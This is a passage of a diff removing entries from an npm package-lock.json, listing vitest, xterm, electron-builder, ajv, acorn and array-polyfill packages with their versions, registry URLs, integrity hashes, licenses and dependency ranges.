"sha512-38C0/Ddb7HcRG0Z4/DUem8x57d2p9jYgp18mkaYswEOQBGsI1CG4f/hjm0ZCeaJfWhSZ4k7jgs29V1Zom7Ki9A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@bcoe/v8-coverage": "^1.0.2", - "@vitest/utils": "4.1.5", - "ast-v8-to-istanbul": "^1.0.0", - "istanbul-lib-coverage": "^3.2.2", - "istanbul-lib-report": "^3.0.1", - "istanbul-reports": "^3.2.0", - "magicast": "^0.5.2", - "obug": "^2.1.1", - "std-env": "^4.0.0-rc.1", - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "@vitest/browser": "4.1.5", - "vitest": "4.1.5" - }, - "peerDependenciesMeta": { - "@vitest/browser": { - "optional": true - } - } - }, - "node_modules/@vitest/expect": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.5.tgz", - "integrity": "sha512-PWBaRY5JoKuRnHlUHfpV/KohFylaDZTupcXN1H9vYryNLOnitSw60Mw9IAE2r67NbwwzBw/Cc/8q9BK3kIX8Kw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@standard-schema/spec": "^1.1.0", - "@types/chai": "^5.2.2", - "@vitest/spy": "4.1.5", - "@vitest/utils": "4.1.5", - "chai": "^6.2.2", - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/mocker": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.5.tgz", - "integrity": "sha512-/x2EmFC4mT4NNzqvC3fmesuV97w5FC903KPmey4gsnJiMQ3Be1IlDKVaDaG8iqaLFHqJ2FVEkxZk5VmeLjIItw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/spy": "4.1.5", - "estree-walker": "^3.0.3", - "magic-string": "^0.30.21" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "msw": "^2.4.9", - "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" - }, - "peerDependenciesMeta": { - "msw": { - "optional": true - }, - "vite": { - "optional": true - } - } - }, - "node_modules/@vitest/pretty-format": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.5.tgz", - "integrity": "sha512-7I3q6l5qr03dVfMX2wCo9FxwSJbPdwKjy2uu/YPpU3wfHvIL4QHwVRp57OfGrDFeUJ8/8QdfBKIV12FTtLn00g==", - "dev": true, - "license": "MIT", - "dependencies": { - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/runner": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.5.tgz", - "integrity": "sha512-2D+o7Pr82IEO46YPpoA/YU0neeyr6FTerQb5Ro7BUnBuv6NQtT/kmVnczngiMEBhzgqz2UZYl5gArejsyERDSQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/utils": "4.1.5", - "pathe": "^2.0.3" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/runner/node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@vitest/snapshot": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.5.tgz", - "integrity": "sha512-zypXEt4KH/XgKGPUz4eC2AvErYx0My5hfL8oDb1HzGFpEk1P62bxSohdyOmvz+d9UJwanI68MKwr2EquOaOgMQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/pretty-format": "4.1.5", - "@vitest/utils": "4.1.5", - "magic-string": "^0.30.21", - "pathe": "^2.0.3" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/snapshot/node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@vitest/spy": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.5.tgz", - "integrity": "sha512-2lNOsh6+R2Idnf1TCZqSwYlKN2E/iDlD8sgU59kYVl+OMDmvldO1VDk39smRfpUNwYpNRVn3w4YfuC7KfbBnkQ==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@vitest/utils": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.5.tgz", - "integrity": "sha512-76wdkrmfXfqGjueGgnb45ITPyUi1ycZ4IHgC2bhPDUfWHklY/q3MdLOAB+TF1e6xfl8NxNY0ZYaPCFNWSsw3Ug==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/pretty-format": "4.1.5", - "convert-source-map": "^2.0.0", - "tinyrainbow": "^3.1.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/@xmldom/xmldom": { - "version": "0.8.13", - "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.8.13.tgz", - "integrity": "sha512-KRYzxepc14G/CEpEGc3Yn+JKaAeT63smlDr+vjB8jRfgTBBI9wRj/nkQEO+ucV8p8I9bfKLWp37uHgFrbntPvw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10.0.0" - } - }, - "node_modules/@xterm/addon-fit": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz", - "integrity": "sha512-jYcgT6xtVYhnhgxh3QgYDnnNMYTcf8ElbxxFzX0IZo+vabQqSPAjC3c1wJrKB5E19VwQei89QCiZZP86DCPF7g==", - "license": "MIT" - }, - "node_modules/@xterm/xterm": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz", - "integrity": "sha512-TQwDdQGtwwDt+2cgKDLn0IRaSxYu1tSUjgKarSDkUM0ZNiSRXFpjxEsvc/Zgc5kq5omJ+V0a8/kIM2WD3sMOYg==", - "license": "MIT", - "workspaces": [ - "addons/*" - ] - }, - "node_modules/7zip-bin": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/7zip-bin/-/7zip-bin-5.2.0.tgz", - "integrity": "sha512-ukTPVhqG4jNzMro2qA9HSCSSVJN3aN7tlb+hfqYCt3ER0yWroeA2VR38MNrOHLQ/cVj+DaIMad0kFCtWWowh/A==", - "dev": true, - "license": "MIT" - }, - "node_modules/abbrev": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-4.0.0.tgz", - "integrity": "sha512-a1wflyaL0tHtJSmLSOVybYhy22vRih4eduhhrkcjgrWGnRfrZtovJ2FRjxuTtkkj47O/baf0R86QU5OuYpz8fA==", - "dev": true, - "license": "ISC", - "engines": { - "node": "^20.17.0 || >=22.9.0" - } - }, - "node_modules/accepts": { - "version": "1.3.8", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", - "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", - "license": "MIT", - "dependencies": { - "mime-types": "~2.1.34", - "negotiator": "0.6.3" - }, - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/accepts/node_modules/negotiator": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", - "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/acorn": { - "version": "8.16.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", - "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==", - "dev": true, - "license": "MIT", - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-jsx": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", - "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" - } - }, - "node_modules/agent-base": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", - "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 14" - } - }, - "node_modules/ajv": { - "version": "6.15.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.15.0.tgz", - "integrity": "sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/ajv-keywords": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", - "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "ajv": "^6.9.1" - } - }, - "node_modules/ansi-escapes": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-7.3.0.tgz", - "integrity": "sha512-BvU8nYgGQBxcmMuEeUEmNTvrMVjJNSH7RgW24vXexN4Ven6qCvy4TntnvlnwnMLTVlcRQQdbRY8NKnaIoeWDNg==", - "dev": true, - "license": "MIT", - "dependencies": { - "environment": "^1.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/app-builder-bin": { - "version": "5.0.0-alpha.12", - "resolved": "https://registry.npmjs.org/app-builder-bin/-/app-builder-bin-5.0.0-alpha.12.tgz", - "integrity": "sha512-j87o0j6LqPL3QRr8yid6c+Tt5gC7xNfYo6uQIQkorAC6MpeayVMZrEDzKmJJ/Hlv7EnOQpaRm53k6ktDYZyB6w==", - "dev": true, - "license": "MIT" - }, - "node_modules/app-builder-lib": { - "version": "26.8.1", - "resolved": "https://registry.npmjs.org/app-builder-lib/-/app-builder-lib-26.8.1.tgz", - "integrity": "sha512-p0Im/Dx5C4tmz8QEE1Yn4MkuPC8PrnlRneMhWJj7BBXQfNTJUshM/bp3lusdEsDbvvfJZpXWnYesgSLvwtM2Zw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@develar/schema-utils": "~2.6.5", - "@electron/asar": "3.4.1", - "@electron/fuses": "^1.8.0", - "@electron/get": "^3.0.0", - "@electron/notarize": "2.5.0", - "@electron/osx-sign": "1.3.3", - "@electron/rebuild": "^4.0.3", - "@electron/universal": "2.0.3", - "@malept/flatpak-bundler": "^0.4.0", - "@types/fs-extra": "9.0.13", - "async-exit-hook": "^2.0.1", - "builder-util": "26.8.1", - "builder-util-runtime": "9.5.1", - "chromium-pickle-js": "^0.2.0", - "ci-info": "4.3.1", - "debug": "^4.3.4", - "dotenv": "^16.4.5", - "dotenv-expand": "^11.0.6", - "ejs": "^3.1.8", - "electron-publish": "26.8.1", - "fs-extra": "^10.1.0", - "hosted-git-info": "^4.1.0", - "isbinaryfile": "^5.0.0", - "jiti": "^2.4.2", - "js-yaml": "^4.1.0", - "json5": "^2.2.3", - "lazy-val": "^1.0.5", - "minimatch": "^10.0.3", - "plist": "3.1.0", - "proper-lockfile": "^4.1.2", - "resedit": "^1.7.0", - "semver": "~7.7.3", - "tar": "^7.5.7", - "temp-file": "^3.4.0", - "tiny-async-pool": "1.3.0", - "which": "^5.0.0" - }, - "engines": { - "node": ">=14.0.0" - }, - "peerDependencies": { - "dmg-builder": "26.8.1", - "electron-builder-squirrel-windows": "26.8.1" - } - }, - "node_modules/app-builder-lib/node_modules/@electron/get": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@electron/get/-/get-3.1.0.tgz", - "integrity": "sha512-F+nKc0xW+kVbBRhFzaMgPy3KwmuNTYX1fx6+FxxoSnNgwYX6LD7AKBTWkU0MQ6IBoe7dz069CNkR673sPAgkCQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "debug": "^4.1.1", - "env-paths": "^2.2.0", - "fs-extra": "^8.1.0", - "got": "^11.8.5", - "progress": "^2.0.3", - "semver": "^6.2.0", - "sumchecker": "^3.0.1" - }, - "engines": { - "node": ">=14" - }, - "optionalDependencies": { - "global-agent": "^3.0.0" - } - }, - "node_modules/app-builder-lib/node_modules/@electron/get/node_modules/fs-extra": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", - "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.0", - "jsonfile": "^4.0.0", - "universalify": "^0.1.0" - }, - "engines": { - "node": ">=6 <7 || >=8" - } - }, - "node_modules/app-builder-lib/node_modules/@electron/get/node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - } - }, - "node_modules/app-builder-lib/node_modules/balanced-match": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/app-builder-lib/node_modules/brace-expansion": { - "version": "5.0.7", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.7.tgz", - "integrity": "sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^4.0.2" - }, - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/app-builder-lib/node_modules/ci-info": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.1.tgz", - "integrity": "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/sibiraj-s" - } - ], - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/app-builder-lib/node_modules/env-paths": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", - "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/app-builder-lib/node_modules/isexe": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-3.1.5.tgz", - "integrity": "sha512-6B3tLtFqtQS4ekarvLVMZ+X+VlvQekbe4taUkf/rhVO3d/h0M2rfARm/pXLcPEsjjMsFgrFgSrhQIxcSVrBz8w==", - "dev": true, - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=18" - } - }, - "node_modules/app-builder-lib/node_modules/jsonfile": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", - "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", - "dev": true, - "license": "MIT", - "optionalDependencies": { - "graceful-fs": "^4.1.6" - } - }, - "node_modules/app-builder-lib/node_modules/minimatch": { - "version": "10.2.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", - "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", - "dev": true, - "license": "BlueOak-1.0.0", - "dependencies": { - "brace-expansion": "^5.0.5" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/app-builder-lib/node_modules/semver": { - "version": "7.7.4", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", - "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/app-builder-lib/node_modules/universalify": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", - "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4.0.0" - } - }, - "node_modules/app-builder-lib/node_modules/which": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/which/-/which-5.0.0.tgz", - "integrity": "sha512-JEdGzHwwkrbWoGOlIHqQ5gtprKGOenpDHpxE9zVR1bWbOtYRyPPHMe9FaP6x61CmNaTThSkb0DAJte5jD+DmzQ==", - "dev": true, - "license": "ISC", - "dependencies": { - "isexe": "^3.1.1" - }, - "bin": { - "node-which": "bin/which.js" - }, - "engines": { - "node": "^18.17.0 || >=20.5.0" - } - }, - "node_modules/arg": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", - "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", - "dev": true, - "license": "MIT" - }, - "node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "dev": true, - "license": "Python-2.0" - }, - "node_modules/aria-hidden": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.6.tgz", - "integrity": "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==", - "license": "MIT", - "dependencies": { - "tslib": "^2.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/aria-query": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz", - "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "dequal": "^2.0.3" - } - }, - "node_modules/array-buffer-byte-length": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz", - "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.3", - "is-array-buffer": "^3.0.5" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/array-flatten": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", - "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==", - "license": "MIT" - }, - "node_modules/array-includes": { - "version": "3.1.9", - "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz", - "integrity": "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "call-bound": "^1.0.4", - "define-properties": "^1.2.1", - "es-abstract": "^1.24.0", - "es-object-atoms": "^1.1.1", - "get-intrinsic": "^1.3.0", - "is-string": "^1.1.1", - "math-intrinsics": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/array.prototype.findlast": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz", - "integrity": "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.7", - "define-properties": "^1.2.1", - "es-abstract": "^1.23.2", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.0.0", - "es-shim-unscopables": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/array.prototype.flat": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz", - "integrity": "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "define-properties": "^1.2.1", - "es-abstract": "^1.23.5", - "es-shim-unscopables": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/array.prototype.flatmap": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz", - "integrity": "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "define-properties": "^1.2.1", - "es-abstract": "^1.23.5", - "es-shim-unscopables": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/array.prototype.tosorted": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz", - "integrity": "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.7", - "define-properties": "^1.2.1", - "es-abstract": "^1.23.3", - "es-errors": "^1.3.0", - "es-shim-unscopables": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/arraybuffer.prototype.slice": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz", - "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "array-buffer-byte-length": "^1.0.1", - "call-bind": "^1.0.8", - "define-properties": "^1.2.1", - "es-abstract": "^1.23.5", - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.6", - "is-array-buffer": "^3.0.4" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==", - "dev": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=0.8" - } - }, - "node_modules/assertion-error": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", - "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - } - }, - "node_modules/ast-types-flow": { - "version": "0.0.8", - "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.8.tgz", - "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/ast-v8-to-istanbul": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/ast-v8-to-istanbul/-/ast-v8-to-istanbul-1.0.3.tgz", - "integrity": "sha512-jCMQ6ZylLPudp0CDfBmQBZUsrh1/8psbmu9ibeVWKuHWD0YrH9YABwlKu5kVEFoT0GCQQW9Z/SxfuEbbkGQCRg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/trace-mapping": "^0.3.31", - "estree-walker": "^3.0.3", - "js-tokens": "^10.0.0" - } - }, - "node_modules/ast-v8-to-istanbul/node_modules/js-tokens": { - "version": "10.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-10.0.0.tgz", - "integrity": "sha512-lM/UBzQmfJRo9ABXbPWemivdCW8V2G8FHaHdypQaIy523snUjog0W71ayWXTjiR+ixeMyVHN2XcpnTd/liPg/Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/astral-regex": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", - "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", - "dev": true, - "license": "MIT", - "optional": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/async": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", - "integrity": 